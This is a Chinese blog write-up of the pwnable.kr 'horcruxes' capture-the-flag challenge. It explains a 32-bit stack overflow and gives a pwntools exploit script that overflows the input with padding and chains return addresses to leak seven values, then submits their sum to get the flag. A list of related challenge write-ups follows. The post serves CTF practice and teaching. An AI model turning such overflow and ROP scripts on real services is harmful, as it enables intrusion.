美文网首页
[Toddler's Bottle]-horcruxes

[Toddler's Bottle]-horcruxes

作者: 2mpossible | 来源:发表于2018-12-10 23:52 被阅读0次
  • 需要我们计算出正确的sum才能得到flag,存在栈溢出漏洞,本来想直接rop到输出flag但是gets函数遇到\x0a截止所以只能一个一个泄漏abcdefg然后相加最后再发送,这里注意程序是32位的,atoi函数将字符串转换成整数时如果数字超过范围则转换失败,所以多试几次就有flag了

exp:

#apt-get install libseccomp-dev:i386
from pwn import *

context.log_level = 'debug'

#p = process('./horcruxes')
p = remote('0',9032)

sum = 0

def cal(addr):
    global sum
    p.recvuntil('Menu:')
    p.sendline('1')
    p.recvuntil('earned? : ')
    payload = 'a'*0x74 + 'bbbb' + p32(addr) + p32(0x0809FFFC)
    p.sendline(payload)
    p.recvuntil('EXP +')
    num = int(p.recvuntil(')\n',drop = True))
    sum += num




printf_a = 0x0809FE4B
printf_b = 0x0809FE6A
printf_c = 0x0809FE89
printf_d = 0x0809FEA8
printf_e = 0x0809FEC7
printf_f = 0x0809FEE6
printf_g = 0x0809FF05
 

cal(printf_a)
cal(printf_b)
cal(printf_c)
cal(printf_d)
cal(printf_e)
cal(printf_f)
cal(printf_g)

#gdb.attach(p,'b *0x080A00F8')
p.recvuntil('Menu:')
p.sendline('1')
p.recvuntil('earned? : ')
p.sendline(str(sum))


p.interactive()

相关文章

  • [Toddler's Bottle]-horcruxes

    需要我们计算出正确的sum才能得到flag,存在栈溢出漏洞,本来想直接rop到输出flag但是gets函数遇到\x...

  • [Toddler's Bottle]-blackjack

    一个经典的21点游戏,我们的目标是赚到1百万才有flag,看源码发现bet可以输入负数,比如输入-10000000...

  • [Toddler's Bottle]-fd

    由于刚入手pwn,所以想着做些基础的题来提升自己,为了以后方便回顾首先来看源码 首先可以知道我们运行程序的时候需要...

  • [Toddler's Bottle]-collision

    代码如下: 首先要有一个命令行参数,而且长度必须为20跟着在check_password里面强制转化为int指针,...

  • [Toddler's Bottle]-random

    首先我们看源代码 可以看到random这个函数,由于没有设置种子(设置种子也要变化啊)所以可以知道这里是伪随机数,...

  • [Toddler's Bottle]-bof

    下载好源码和源文件: 从源码可以看出这题大概是要溢出overflowme从而覆盖key的值为0xcafebabe,...

  • [Toddler's Bottle]-flag

    这题一开始用ida看什么都没看出来,后来看了网上的WP才知道这题是加了壳的,从十六进制中可以看到确实加了upx壳 ...

  • [Toddler's Bottle]-passcode

    之前一直不能下载文件到本地,今天用了FlashFXP无意间可以下载到本地了 主要@前面的是用户名,之前一直不知道 ...

  • [Toddler's Bottle]-input

    需要对linux操作有一定的认识,前面的绕过ida或者看源码都能推出来,最后由于我们在input2目录下没有写文件...

  • [Toddler's Bottle]-leg

    key1()函数获取pc寄存器的值,key2()函数获取pc寄存器 + 4的值,key3()函数获得lr寄存器的值...

网友评论

      本文标题:[Toddler's Bottle]-horcruxes

      本文链接:https://www.haomeiwen.com/subject/rvpjhqtx.html